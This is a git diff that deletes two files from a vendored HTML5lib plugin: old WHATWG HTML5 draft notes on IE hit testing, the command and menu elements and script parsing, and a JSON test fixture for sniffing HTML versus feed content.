-bubble to be fired at elements if they are scrolled. window.onscroll
-and document.onscroll should both work.
-
-
-[HIT TESTING TRANSPARENCY]
-Definition: IE considers a point of an element "transparent" if any
-one of the following are true:
-
- 1. All of the following are true:
-    a: The computed value of 'background-image' is 'none', and
-    b: The computed value of 'background-color' is 'transparent', and
-    c: The point is over a pixel of an AlphaImageLoader filter image
-       that has an alpha value of 0 (fully transparent), or the
-       element does not have an AlphaImageLoader filter applied;
-
- 2. The point is outside the element's CSS clip rectangle;
-
- 3. The computed value of 'visibility' is 'hidden';
-
- 4. The element is a transparent IFRAME (in IE, an IFRAME with the
-    custom attribute "allowtransparency");
-
- 5. The element is an OBJECT with the custom attribute "wmode" set to 
-    "transparent" and the point in question is fully transparent.
-
-Given those definitions, when a mouse event occurs, IE finds the
-target element as follows:
-
-   A. Take the topmost node that is under the point where the pointer
-      was for the event. For CSS boxes, borders, padding areas and
-      content areas are considered part of the node, margins and
-      leading generated by the 'line-height' property are not.
-
-   B. If there is no node at that point, no event is fired. STOP.
-
-   C. If the node is a text node, then the event is fired at the text
-      node's nearest ancestor element node. STOP.
-
-   D. If the node is not an element, assign the node's nearest
-      ancestor element node to a variable X. Otherwise, assign the
-      element node itself to X.
-
-   E. If the element X is the BODY element or the HTML element and its
-      document is not the document of a transparent IFRAME, goto step
-      H. Similarly, if the element X is a TABLE element, or is an IMG
-      element, goto step H.
-
-   F. If the point where the pointer was is, per the above definition,
-      a point that on the element X is transparent, then ignore that
-      element and assign the element that is below that element in the
-      stacking order to X. If there is no element below X, or if the
-      point on X is not transparent and so the previous condition
-      doesn't apply, then leave X as is and go straight to step H.
-
-   G. Goto step E.
-
-   H. If the element X is now a BODY or TABLE element, but the element
-      assigned to X in step D was some other element, assign the
-      element originally assigned in step D back to X.
-
-   I. The event goes to X. STOP
-
-
-
-
-mousedown's default action is focus, so cancelling mousedown stops focus transference.
-e.g. on http://www.mozilla.org/editor/midasdemo/
-
-xref all the _ERR exceptions to DOM3CORE
-
-
-<select><option><hr> support
-
-
-raising an exception when the wrong number of arguments is passed -
-is that a language-specific thing, or what?
-
-why |new XMLHttpRequest()| returns an object that .toStrings to
-[object XMLHttpRequest], same with new TCPConnection(); what if a
-constructor is called without using "new" in JS?
-
-
-reload: fire an event when "reload" is pressed so that the page can
-reload its data instead of the whole page. cancel the event cancels
-the HTTP reload. Abuse prevention required, though.
-
-
-load event: fire on body, document, window? or just let it bubble?
-
-
-http://msdn.microsoft.com/workshop/author/dhtml/reference/methods/elementfrompoint.asp
-http://msdn.microsoft.com/workshop/author/dhtml/reference/methods/showmodaldialog.asp
-
-
-refs for TCP/IP (rfc793) and IPv6
-
-http://www.joelonsoftware.com/items/2004/06/17.html
-http://www.joelonsoftware.com/items/2004/06/18.html
-
-
-<neutralise> block that kills scripting or anything dangerous?
-
-
-XXXX need explanation of when to use undo/redo, and when to use back/forward
-
-XXX "alternate style sheet" should be "alternative style sheet"
-
-
-
-
-  <h5>Using the <code>a</code> element with the <code>command</code> attribute</h5>
-
-  <p>If an <code>a</code> element has a <code
-  title="command-attribute">command</code> attribute, then:</p>
-
-  <p>If the element's <code>title</code> attribute is absent, then
-  when the UA attempts to display the element's hint, it must instead
-  use the specified command's Hint.</p>
-
-  <p>Even if the element's <code>href</code> attribute is absent, the
-  element must still match the CSS <code>:link</code> or
-  <code>:visited</code> pseudo-classes. It must match the
-  <code>:visited</code> pseudo-class if the command's action is to
-  follow a link that has already been visited by the user, and must
-  match the <code>:link</code> pseudo-class otherwise.</p>
-
-  <p>If a <code>DOMActivate</code> event is dispatched on the element
-  and is not canceled, and the event has no other default action, and
-  the command's Disabled State is false (enabled), then the command's
-  Action must be triggered as the default action.</p>
-
-  <p class="note">The <code>DOMActivate</code> event is fired as the
-  default action of the <code>click</code> event.</p>
-
-  <p>If the command's Disabled State is true (disabled) then the
-  element must be disabled and must therefore match the
-  <code>:disabled</code> pseudo-class. UAs should style disabled links
-  in such a way as to clearly convey their disabled state.</p>
-
-  <p>The Label, Icon, Checked State and Type facets of the command are
-  ignored by the <code>a</code> element (except for <a
-  href="#pseudosAndCommands">matching CSS pseudo-classes</a>).</p>
-
-  <h5>Using the <code>button</code> element with the <code>command</code> attribute</h5>
-
-  <p>If a <code>button</code> element has a <code
-  title="command-attribute">command</code> attribute, then:</p>
-
-  <p>If the element's <code>title</code> attribute is absent, then
-  when the UA attempts to display the element's hint, it must instead
-  use the specified command's Hint.</p>
-
-  <p>If a <code>DOMActivate</code> event is dispatched on the element
-  and is not canceled, and the event has no other default action, and
-  the command's Disabled State is false (enabled), and the button's
-  <code>disabled</code> attribute is absent, then the command's Action
-  must be triggered as the default action.</p>
-
-  <p class="note">The <code>DOMActivate</code> event is fired as the
-  default action of the <code>click</code> event.</p>
-
-  <p>If the command's Disabled State is true (disabled) then the
-  element must be disabled. The <code>button</code> element must also
-  be disabled if the element's <code>disabled</code> attribute is
-  set.</p>
- 
-  <p>The Label, Icon, Checked State and Type facets of the command are
-  ignored by the <code>button</code> element (except for <a
-  href="#pseudosAndCommands">matching CSS pseudo-classes</a>).</p>
-
-  <h5>Using the <code>input</code> element with the <code>command</code> attribute</h5>
-
-  <p>If an <code>input</code> element has no <code>type</code>
-  attribute and no <code>name</code> attribute, and it has a <code
-  title="command-attribute">command</code> attribute, then:</p>
-
-  <p>If the command is of Type "command" then the element must
-  generally be styled and behave as if it was of type
-  <code>button</code>; if the Type of the command is "radio" then the
-  element must generally be styled and behave as if it was of type
-  <code>radio</code>; and if the Type of the command is "checkbox"
-  then the element must generally be styled and behave as if it was of
-  type <code>checkbox</code>.</p>
-
-  <p>If the command is of Type "command" and the element's
-  <code>value</code> attribute is absent, then when the UA attempts to
-  display the element's caption, it must instead use the specified
-  command's Label. The Label facet is ignored if the command is not of
-  Type "command".</p>
-
-  <p>The UA may use the Icon facet of the command to render an
-  icon in the control, if appropriate for the UI used.</p>
-
-  <p>If the element's <code>title</code> attribute is absent, then
-  when the UA attempts to display the element's hint, it must instead
-  use the specified command's Hint.</p>
-
-  <p>If a <code>DOMActivate</code> event is dispatched on the element
-  and is not canceled, and the event has no other default action, and
-  the command's Disabled State is false (enabled), and the element's
-  <code>disabled</code> attribute is absent, then the command's Action
-  must be triggered as the default action.</p>
-
-  <p class="note">The <code>DOMActivate</code> event is fired as the
-  default action of the <code>click</code> event.</p>
-
-  <p>If the command's Disabled State is true (disabled) then the
-  element must be disabled. The <code>input</code> element must also
-  be disabled if the element's <code>disabled</code> attribute is
-  set.</p>
-
-  <p>If the command's Checked State is true (checked) then the element
-  must be checked. The <code>input</code> element must also be checked
-  if the element's <code>checked</code> attribute is set.</p>
-
-
-
-
-  <p>This element should not be directly displayed. In CSS-aware user
-  agents, this should be achieved by including the following rules, or
-  their equivalent, in the UA's user agent style sheet:</p>
-
-  <pre>@namespace xh url(http://www.w3.org/1999/xhtml);
-xh|command { display: none; }</pre>
-
-
-
-  <h5 id="command-with-command">Using the <code>command</code> element with the <code>command</code> attribute</h5>
-
-  <p>If a <code>command</code> element has a <code
-  title="command-attribute">command</code> attribute, then:</p>
-
-  <p>If the element's <code>label</code> attribute is absent, then
-  when the UA attempts to display the element's caption, it must instead
-  use the specified command's Label.</p>
-
-  <p>If the element's <code>icon</code> attribute is absent, then
-  when the UA attempts to display the element's icon, it must instead
-  use the specified command's Icon.</p>
-
-  <p>If the element's <code>title</code> attribute is absent, then
-  when the UA attempts to display the element's hint, it must instead
-  use the specified command's Hint.</p>
-
-  <p>If a <code>click</code> event is dispatched on the element and is
-  not canceled, and the command's Disabled State is false (enabled),
-  and the element's own <code>disabled</code> attribute is absent,
-  then the command's Action must be triggered as the default
-  action.</p>
-
-  <p>If the command's Disabled State is true (disabled) then the
-  element must be disabled. The <code>command</code> element must also
-  be disabled if the element's <code>disabled</code> attribute is
-  set.</p>
-
-  <p>If the command's Checked State is true (checked) then the
-  element must be checked. The <code>command</code> element must also
-  be checked if the element's <code>checked</code> attribute is
-  set.</p>
-
-  <p>When a <code title="command-element">command</code> element has a
-  <code title="command-attribute">command</code> attribute, any <code
-  title="attr-command-type">type</code> and <code
-  title="attr-command-radiogroup">radiogroup</code> attribute is
-  ignored.</p>
-
-
-
-  <h4>The 'icon' property</h4>
-
-  <p>UAs should use the command's Icon as the default generic icon
-  provided by the user agent when the 'icon' property computes to
-  'auto' on an element that either defines a command or refers to one
-  using the <code title="command-attribute">command</code>
-  attribute.</p>
-
-  <h4 id="pseudosAndCommands">CSS pseudo-classes and commands</h4>
-
-  <p>When an element uses the <code
-  title="command-attribute">command</code> attribute, any UI
-  pseudo-classes from the following list that apply to the element
-  defining the command also apply to the elements that refer to that
-  command.</p>
-
-  <dl>
-
-   <dt>:enabled, :disabled</dt>
-
-   <dd>Matches commands whose Disabled State facet is False and True
-   respectively.</dd>
-
-   <dt>:checked</dt>
-
-   <dd>Matches commands whose Type facet is either "radio" or
-   "checkbox", and whose Checked State facet is true.</dd>
-
-  </dl>
-
-
-
-  <p><code>menu</code> elements with explicit <code>label</code>
-  attributes, and <code>menu</code> elements following
-  <code>menulabel</code> elements, should be hidden. In CSS-aware UAs,
-  this effect should be achieved by including the following rules, or
-  their equivalent, in the UA's user agent style sheet:</p>
-
-  <pre>@namespace xh url(http://www.w3.org/1999/xhtml);
-xh|menu[label], xh|menulabel + xh|menu { display: none; }</pre>
-
-  <p>All other <code>menu</code> elements should be rendered
-  identically to <code>ul</code> elements. In CSS-aware UAs, this
-  effect may be achieved by including rules similar to the following
-  in the UA's user agent style sheet:</p>
-
-  <pre>@namespace xh url(http://www.w3.org/1999/xhtml);
-xh|menu { display: block; margin: 0 0 0 40px; list-style: disc; }</pre>
-
-
-
-
-  <h5>Displaying menus</h5>
-
-  <p>When a <code>menu</code> element is activated, the associated
-  menu should be constructed and shown. (For details on how a
-  <code>menu</code> element can be activated, see the sections on
-  <span>menu links</span> and <span>menu bars</span>.)</p>
-
-  <p>The styles applied to each element in the <code>menu</code>
-  element, as well as the element itself, may be applied when
-  constructing a menu. UAs are recommended to not apply styling to
-  context menus and menus for application menu bars, and to only use
-  styles for in-page menus.</p>
-
-  <p>If user agents support styling of menus, they should only support
-  the '<code>background</code>', '<code>color</code>',
-  '<code>border</code>', '<code>padding</code>' and
-  '<code>font</code>' properties on menus and menu items. (This list
-  might be incomplete; in general, properties that merely affect the
-  appearance of the element should work, but properties that affect
-  the layout should not.)</p>
-
-  <p>As the user interacts with a menu, the elements from which the
-  menu was created should have appropriate pseudo-classes (:hover,
-  :focus, :active) applied.</p>
-
-  <p>The menu items must only consider the computed styles of the
-  elements from which they were derived, not other elements.</p>
-
-  <div class="example">
-
-   <p>For example, take this menu:</p>
-
-   <pre>AMPERSANDlt;menuAMPERSANDgt;
-AMPERSANDlt;liAMPERSANDgt;AMPERSANDlt;command label="a"/AMPERSANDgt;AMPERSANDlt;/liAMPERSANDgt;
-AMPERSANDlt;menuAMPERSANDgt;</pre>
-
-   <p>The menu has one menu item, labelled "a".</p>
-
-   <p>Styles applied to the <code>li</code> element in this menu would
-   have no effect on the rendered menu, except in so far as styles
-   inherit from that element to the <code>command</code> element.</p>
-
-   <p>Styles applied to the <code>command</code> element could affect
-   the menu. While the user is hovering over the menu item, the
-   <code>:hover</code> pseudo-class matches the <code>command</code>
-   element and any appropriate newly matching rules could be
-   applied.</p>
-
-  </div>
-
-  <p>When activated from a <span title="menu links">menu link</span>,
-  a menu must be placed in an Appropriate Place. Specifically, if the
-  <code>a</code> element is displayed as a vertically-stacked box (as
-  is typically seen for elements with '<code>display: block</code>',
-  '<code>list-item</code>', or '<code>table</code>'), then the menu
-  should appear vertically below the element, anchored so that one of
-  its top corners coincides with a bottom corner of the box so that
-  the menu and the box each have a horizontal sides in common (or a
-  bottom corner of the menu coincides with a top corner of the box, if
-  there isn't enough room for the menu to drop down); otherwise, if
-  the element is displayed as a horizontally stacked box
-  ('<code>display: inline</code>', '<code>table-cell</code>', etc),
-  the menu should appear to the <em>side</em> of the box in an
-  analogous way. If the element is on the right of the page, the menu
-  should drop to the left, and vice versa.</p>
-
-  <p>UAs should implement the drop-down behaviour in more
-  platform-appropriate ways if the platform conventions differ from
-  the behaviour described above.</p>
-
-
-
-
-  <h4>The <dfn title="command-attribute"><code>command</code></dfn>
-  attribute</h4>
-
-  <p>Any element that can define a command can also, instead, have a
-  <code>command</code> attribute that specifies the ID of a command
-  that the element should defer to. In this case the element does not
-  define a command, but, in the absence of attributes to the contrary,
-  reflects the state of the element specified.</p>
-
-  <p>If the <code>command</code> attribute specifies an ID that is not
-  the ID of an element that defines a command, then the
-  <code>command</code> DOM attribute is set to the null value, and the
-  element acts as if it was linked to an element that defined a
-  command with no Label, no Hint, no Icon, no Action, that was not
-  Hidden, not Disabled, not Checked, and that was of Type
-  "command".</p>
-
-
-replaceable DOM properties: http://lxr.mozilla.org/mozilla/source/dom/src/base/nsDOMClassInfo.cpp#5928
-<       brendan>|Hixie: so yeah, lxr for JSRESOLVE_QUALIFIED
-
-screen object:
-screen contains top left width height pixelDepth colorDepth availWidth availHeight availLeft availTop
-
-
-
-  <p>The most direct way to represent a command is by using the <code
-  title="command-element">command</code> element. A <code
-  title="command-element">command</code> element defines a command if
-  it does not have a <code title="command-attribute">command</code>
-  attribute.</p>
-
-  <div class="example">
-   <pre>...
- AMPERSANDlt;command id="c_stop" label="Emergency Stop" onclick="dostop()"/AMPERSANDgt;
- AMPERSANDlt;command id="c_go" label="Go" onclick="dogo()"/AMPERSANDgt;
- AMPERSANDlt;command id="c_lamp" label="Headlamps" onclick="dof2()" disabled="disabled"/AMPERSANDgt;
-...</pre>
-</div>
-
-  <p>The <code>command</code> element, in addition to the core and
-  internationalisation attributes, may have the following
-  attributes specified:</p>
-
-  <dl>
-
-   <!-+- yes i know that some of these are core attributes. If you can
-   give me a better introductory paragraph, I'm all for it. -+->
-
-   <dt><dfn title="attr-command-type"><code>type</code></dfn></dt>
-
-   <dd>The command's Type. If present, this attribute must either have
-   the value <code>radio</code>, in which case the command is of Type
-   "radio", or the value <code>checkbox</code>, in which case the
-   command is (amazingly) of Type "checkbox". Any other value, or the
-   absence of the attribute altogether, means that the command is of
-   Type "command".</dd>
-
-   <dt><dfn title="attr-command-id"><code>id</code></dfn></dt>
-
-   <dd>The command's ID. If this attribute is not specified, then the
-   command is anonymous.</dd>
-
-   <dt><dfn title="attr-command-label"><code>label</code></dfn></dt>
-
-   <dd>The command's Label. If the attribute is not specified, the
-   command's Label is given by the element's <code>textContent</code>
-   DOM attribute.</dd>
-
-   <dt><dfn title="attr-command-title"><code>title</code></dfn></dt>
-
-   <dd>The command's Hint. If the attribute is not specified, the
-   command's Hint is the empty string.</dd>
-
-   <dt><dfn title="attr-command-icon"><code>icon</code></dfn></dt>
-
-   <dd>A URI to the command's Icon. If the attribute is not specified,
-   then the command has no Icon.</dd>
-
-   <dt><dfn title="attr-command-onclick"><code>onclick</code></dfn></dt>
-
-   <dd>An event handler attribute that listens for <code>click</code>
-   events.</dd>
-
-   <dt><dfn title="attr-command-hide"><code>hide</code></dfn></dt>
-
-   <dd>The command's Hidden State. If the attribute is present, the
-   command is hidden (and also disabled, regardless of the value of
-   the <code>disabled</code> attribute), otherwise, the command is
-   shown. If the attribute is present, it should have the value
-   "<code>hide</code>". <!-+-The name of the attribute reflects the
-   fact that Hidden commands in menus are hidden.-+-></dd>
-
-   <dt><dfn title="attr-command-disabled"><code>disabled</code></dfn></dt>
-
-   <dd>The command's Disabled State. If the attribute is present, the
-   command is disabled, otherwise, the command is enabled. If the
-   attribute is present, it should have the value
-   "<code>disabled</code>".</dd>
-
-   <dt><dfn title="attr-command-checked"><code>checked</code></dfn></dt>
-
-   <dd>The command's Checked State. If the attribute is present, the
-   command is checked, otherwise, the command is not. If the attribute
-   is present, it should have the value "<code>checked</code>".</dd>
-
-   <dt><dfn title="attr-command-radiogroup"><code>radiogroup</code></dfn></dt>
-
-   <dd>An attribute indicating the name of the group of commands that
-   will be toggled when the command itself is toggled. (Described <a
-   href="#radiocommand">below</a>.)</dd>
-
-   <dt><dfn title="attr-command-default"><code>default</code></dfn></dt>
-
-   <dd>An attribute indicating whether the command is the default
-   command. If the attribute is present, the command is the default
-   command, otherwise it is not. If it is set, it should have the
-   value <code>default</code>. Used by context menus to indicate what
-   the default option would be. The :default pseudo-class matches
-   <code>command</code> elements with this attribute.</dd>
-
-  </dl>
-
-  <p>In addition, <code title="command-element">command</code>
-  elements may also have a <code
-  title="command-attribute">command</code> attribute, as <a
-  href="#command-with-command">described below</a>.</p>
-
-  <p>The Type, ID, Label, Hint, Icon, Hidden State, Disabled State,
-  and Checked State of the command defined by a <code
-  title="command-element">command</code> element are as described
-  above. The Action of a <code title="command-element">command</code>
-  element is that a <code>{"http://www.w3.org/2001/xml-events",
-  "click"}</code> event is fired on the element.</p>
-
-  <p>If the Type of the command is "checkbox", when a
-  <code>click</code> event is dispatched on the element, user agents
-  must toggle the value of the <code>checked</code> attribute before
-  the event is dispatched in the document. (If the attribute is
-  absent, then it is set to the value <code>checked</code>, and if the
-  attribute is present, it is removed.) If the default action of the
-  event is canceled, the value of the attribute must be changed back
-  to the value it had before the event was dispatched.</p>
-
-  <p id="radiocommand">If the Type of the command is "radio", when a
-  <code>click</code> event is dispatched on the element, user agents
-  must set the value of the <code>checked</code> attribute on the
-  element to <code>checked</code>, and remove the attribute from any
-  <code>command</code> elements with <code>type</code> set to
-  <code>radio</code> and the same parent element and same
-  <code>radiogroup</code> attribute, before the event is dispatched in
-  the document. (If the element has no <code>radiogroup</code>
-  attribute, then the elements "with the same <code>radiogroup</code>
-  attribute" are those elements with <em>no</em>
-  <code>radiogroup</code> attribute.) If the default action of the
-  event is canceled, the value of the attributes that were changed
-  must be changed back to the values they had before the event was
-  dispatched.</p>
-
-  <p>In HTML the <code>command</code> element is an empty element with
-  no end tag.</p>
-
-  <p>Authors should put <code>command</code> elements inside the
-  <code>head</code> element, inside any element that may contain
-  <span>block-level elements</span> or <span>inline-level
-  content</span>, or inside <code>commandset</code> elements.</p> <!-+-
-  should, because hey, if they want to put them elsewhere, why not.
-  XXX -+->
-
-  <p>Authors should not put elements or text inside
-  <code>command</code> elements.</p>
-
-
-
-
-  <p>The <code title="dom-command-ro-command">command</code> DOM attribute
-  is defined with the <code title="attr-command">command</code>
-  content attribute.</p>
-
-
-Need to become consistent about whether or not to quote keyword
-("<code title="">foo</code>" vs <code>foo</code>)
-
-
-
-  XXX command icons in rendering section:
-
-  If the element defining the command has no explicit icon, then the
-  attribute must instead return the computed value of the CSS '<code
-  title="">icon</code>' property on that element. <a
-  href="#refsCSS3UI">[CSS3UI]</a>
-
-  If the computed value of '<code title="">icon</code>' is
-  '<code>auto</code>',
-
-
-search for event-click and make them all point to:
-<a href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#event-click"><code>click</code></a>
-...or something.
-
-<code>DOMActivate -> <code title="event-DOMActivate">DOMActivate
-
-
-onclick="" only fires if it is a MouseEvent
-
-
-<form> .submit definition - see http://lxr.mozilla.org/mozilla/source/content/html/content/src/nsHTMLFormElement.cpp#600
-for how to handle multiple calls in series
-
-
-http://lxr.mozilla.org/mozilla/source/content/html/content/src/nsHTMLFormElement.cpp#699
-
-How events are handled:
-http://lxr.mozilla.org/mozilla/ident?i=HandleDOMEvent
-
-http://www.quirksmode.org/js/events_compinfo.html
-e.g. mousedown mouseup click mousedown mouseup click dblclick
-
-http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/events.asp
-
-
-
-05:46 <            bz>|Hixie: let's put it this way
-05:46 <            bz>|Hixie: 1)  A script is executed when its data is available
-05:47 <            bz>|Hixie: 2) The data for an inline script is available when its </script> is seen
-05:47 <            bz>|Hixie: 3) The data for a script with src is available when it finishes loading
-05:47 <            bz>|Hixie: all good so far?
-05:47 <         Hixie>|i'm waiting for the bit where src= causes blocking in the normal, non-d.w case
-05:47 <            bz>|Hixie: 4) The data for a script with src starts loading when the <script> node is inserted into the DOM
-05:48 <        shaver>|it causes parser blocking in the normal case
-05:48 <            bz>|Hixie: 5)  When such a load starts, all further parsing is suspended until the load has completed and the script has executed.
-05:48 <            bz>|Hixie: so if we forget document.write
-05:48 <            bz>|Hixie: and look at the HTML:  <script src="foo"></script><div>
-05:48 <            bz>|Hixie: the text "<div>" will nto be parsed until after the script runs
-05:49 <            bz>|Hixie: this is needed so that if the script does document.write that text can be inserted _before_ the "<div>" text into the parser
-05:49 <         Hixie>|sure
-05:49 <         Hixie>|all this is fine
-05:49 <            bz>|Hixie: ok.  So now let's look at our case
-05:49 <         Hixie>|but how does document.write() know when to return?
-05:49 -!- davel [davel@moz-4F4E281A.dsl.static.sonic.net] has quit [Quit: davel]
-05:49 <            bz>|It gives the data to the parser, and tells the parser to parse it
-05:49 <            bz>|Once the parser returns, document.write returns
-05:50 <            bz>|The parser returns when it runs out of data to parse (it's parsed it all)
-05:50 <            bz>|Or if it's explicitly suspended (eg by a <script src="">)
-05:50 <         Hixie>|AH
-05:50 <            bz>|All this in Gecko
-05:50 <         Hixie>|ok that was the key piece of information i was missing
-05:50 <         Hixie>|the "explicit suspension"
-05:50 <         Hixie>|ok
-but test IE on this...
-
-
-XXX publish a "Valid HTML5!" button with a kitten on it. Made by an artist. (Doodle?)
-
-
-XXX rename "Block-level" and "inline-level" to something else to
-prevent terminology clash with CSS.
-
-   Interaction with document.open/write/close is undefined
-   How to determine the character encoding
-   Integration with quirks mode problems
-   <style> parsing needs tweaking if we want to exactly match IE
-   <base> parsing needs tweaking to handle multiple <base>s
-   <isindex> needs some prose in the form submission section
-   No-frames and no-script modes aren't yet defined
-   Execution of <script> is not yet defined
-   New HTML5 elements aren't yet defined
-   There are various cases (marked) where EOF handling is undefined
-   Interaction with the "load" event is undefined
-
-
-hsivonen:
-> To make document conformance a more useful concept for the purpose of catching
-> author errors, I suggest that the following attributes be made required:
-> href and rel on link
-> href on base
-> name and content on meta (other than the encoding decl)
-> src on img
-> code, height and width on applet
-> name and value on param
-...
-> To allow user agents see whether the author provided the empty string as the
-> alternative text of whether the author just didn't care, I suggest that the
-> alt attribute on img be made optional.
-(i agree -ian)
-...
-> On the other hand, I have doubts about the requirement of significant
-> inline content. When the W3C said that paragraphs mustn't be empty,
-> various applications started emitting <p>AMPERSANDnbsp;</p>. If the WHAT WG says
-> that paragraphs must contend significant inline content, are the
-> developers of those applications suddenly going to decide not to allow
-> them to paragraphs to be saved or are they going to come up with an even
-> more crufty work-around to comply with the machine-checkable
-> requirements of the spec?
-(i agree, i think we should drop "significant inline content". -ian)
-
-
-bjoern:
-> If the concern here is what the specification should say, then that's
-> what a valid state is, not what a valid document is, since the class of
-> "predictably valid" documents does not cover many dynamic documents.
-
-
-
-arv asks for: a way to track download progress of, e.g., images when
-you are preloading 10 images; cf onprogress on XHR in mozilla
-
-
-window.getAttention() or some similar API to let the user know the
-page wants attention? How do you reduce the chance of irritation?
-see also https://bugzilla.mozilla.org/show_bug.cgi?id=293412
-
-
-
-
-ITEM
-
-Items have:
- - parents, children
- - properties
- - commands that can apply to them
-
-
-
-   <li>Inline markup for pop-up windows, for example for dialog boxes
-   or tool palettes, so that dialogs need not be defined in separate
-   files.</li>
-
-   <li>Command updating: applications that have several access
-   points for the same feature, for instance a menu item and a
-   tool-bar button, would benefit from having to disable such
-   commands only once, instead of having to keep each access point
-   synchronized with the feature's availability at all times.
-   Similarly menu items or tool-bar buttons that represent a toggle
-   state could automatically stay synchronized whenever
-   toggled.</li>
-
-   <li>More device-independent DOM events: The DOM event set needs
-   device-independent events, such as events that fire when a button
-   or link is activated, whether via the mouse or the keyboard.
-   <code>DOMActivate</code> is a start, but it lacks equivalent HTML
-   attributes, and additional events may be needed.</li>
-
-   <li>Richer widget set: the existing HTML controls are quite
-   limited, some controls for commonly used types such as date
-   controls and range controls would be useful.</li>
-
-   <li>Sortable and multicolumn tree views and list views with rich
-   formatting.</li>
-
-   <li>Ability to define custom widgets cleanly, for example using
-   XBL and APIs to query and control focus state, widget state, the
-   position and state of input devices, etc.</li>
-
-   <li>Rich text editing: an underlying architecture upon which
-   domain-specific editors can be created, including things like
-   control over the caret position.</li>
-
-   <li>A predefined HTML editor based on the rich text editing
-   architecture.</li>
-
-   <li>Drag and drop APIs.</li>
-
-   <li>Text selection manipulation APIs.</li>
-
-   <li>Clipboard APIs (if the security and privacy concerns can be
-   addressed).</li>
-
-   <li>Flexible box model: The existing box model in CSS is designed
-   largely for documents rather than user interface. We need a new
-   box model designed for user interface which would relieve author
-   complaints about other aspects of CSS and also reduce the need
-   for tables for layout.</li>
-
-   <li>Window-based state management (so that new windows don't
-   interfere with existing sessions), for example implemented as a
-   per-domain, per-window "file system". This would allow multiple
-   instances of the same application (from the same site) to run
-   without the instances overwriting each other's cookies.</li>
-
-   <li>Markup to denote <span>mutually exclusive sections</span> (as
-   in the commonly seen wizard interfaces).</li>
-
-   <li>An improved CSS object model, for example with better APIs
-   for animation, simpler ways to navigate the rendered content, a
-   way to find the position of an element, methods to list the
-   elements under a coordinate, etc.</li>
-
-   <li>Better defined user authentication state handling. (Being able
-   to "log out" of sites reliably, for instance, or being able to
-   integrate the HTTP authentication model into the Web page.)</li>
-
-
-offline storage / caching pining:
-http://groups.google.com/group/mozilla.dev.platform/browse_frm/thread/bf866101aa238773/a298294c27b9380a?lnk=gstAMPERSANDq=offlineAMPERSANDrnum=1#a298294c27b9380a
-
-
-DOM0 quirks that Mozilla knows about:
-http://lxr.mozilla.org/seamonkey/source/dom/src/base/nsDOMClassInfo.cpp
-
-
-
-mutually exclusive sections:
-  <p class="example">For example, in an application for an online
-  mutiplayer game, there could be four mutually exclusive sections:
-  one for the login page, one for the network status page displayed
-  while the user is logging in, one for a "lobby" where players get
-  together to organise a game, and one for the actual game. The
-  different sections are the various states that the application can
-  reach.</p>
-
--->
-  <script src="http://status.whatwg.org/annotate-web-apps.js"
-  type="text/javascript"></script>
diff --git a/attic/vendor/plugins/HTML5lib/testdata/sniffer/htmlOrFeed.json b/attic/vendor/plugins/HTML5lib/testdata/sniffer/htmlOrFeed.json
deleted file mode 100644
index c1506dbc..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/sniffer/htmlOrFeed.json
+++ /dev/null
@@ -1,43 +0,0 @@
-[
-    {"type": "text/html", "input": ""},
-    {"type": "text/html", "input": "<!---->"},
-    {"type": "text/html", "input": "<!--asdfaslkjdf;laksjdf as;dkfjsd-->"},
-    {"type": "text/html", "input": "<!"},
-    {"type": "text/html", "input": "\t"},
-    {"type": "text/html", "input": "<!>"},
-    {"type": "text/html", "input": "<?"},
-    {"type": "text/html", "input": "<??>"},
-    {"type": "application/rss+xml", "input": "<rss"},
-    {"type": "application/atom+xml", "input": "<feed"},
-    {"type": "text/html", "input": "<html"},
-    {"type": "text/html", "input": "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>302 Found</title>\n</head><body>\n<h1>Found</h1>\n<p>The document has moved <a href=\"http://feeds.feedburner.com/gofug\">here</a>.</p>\n</body></html>\n"},
-    {"type": "text/html", "input": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\r\n<HTML><HEAD>\r\n   <link rel=\"stylesheet\" type=\"text/css\" href=\"http://cache.blogads.com/289619328/feed.css\" /><link rel=\"stylesheet\" type=\"text/css\" href=\"http://cache.blogads.com/431602649/feed.css\" />\r\n<link rel=\"stylesheet\" type=\"text/css\" href=\"http://cache.blogads.com/382549546/feed.css\" />\r\n<link rel=\"stylesheet\" type=\"text/css\" href=\"http://cache.blogads.com/314618017/feed.css\" /><META http-equiv=\"expires\" content="},
-    {"type": "text/html", "input": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\r\n<html>\r\n<head>\r\n<title>Xiaxue - Chicken pie blogger.</title><meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\"><style type=\"text/css\">\r\n<style type=\"text/css\">\r\n<!--\r\nbody {\r\n background-color: #FFF2F2;\r\n}\r\n.style1 {font-family: Georgia, \"Times New Roman\", Times, serif}\r\n.style2 {\r\n color: #8a567c;\r\n font-size: 14px;\r\n font-family: Georgia, \"Times New Roman\", Times, serif;\r\n}\r"},
-    {"type": "text/html", "input": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\"><html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">\r\n<head> \r\n<title>Google Operating System</title>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\r\n<meta name=\"Description\" content=\"Unofficial news and tips about Google. A blog that watches Google's latest developments and the attempts to move your operating system online.\" />\r\n<meta name=\"generator\" c"},
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-    {"type": "text/html", "input": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\" \"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" dir=\"ltr\" lang=\"en\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=pahrefhttpwwwfeedburnercomtarget_blankimgsrchttpwwwfeedburnercomfbimagespubpowered_by_fbgifaltPoweredbyFeedBurnerstyleborder0ap\" />\n<title> From Under the Rotunda</title>\n<link rel=\"stylesheet\" href=\"http://s.wordpress.com/wp-content/themes/pub/andreas04/style.css\" type=\"text/css\""},
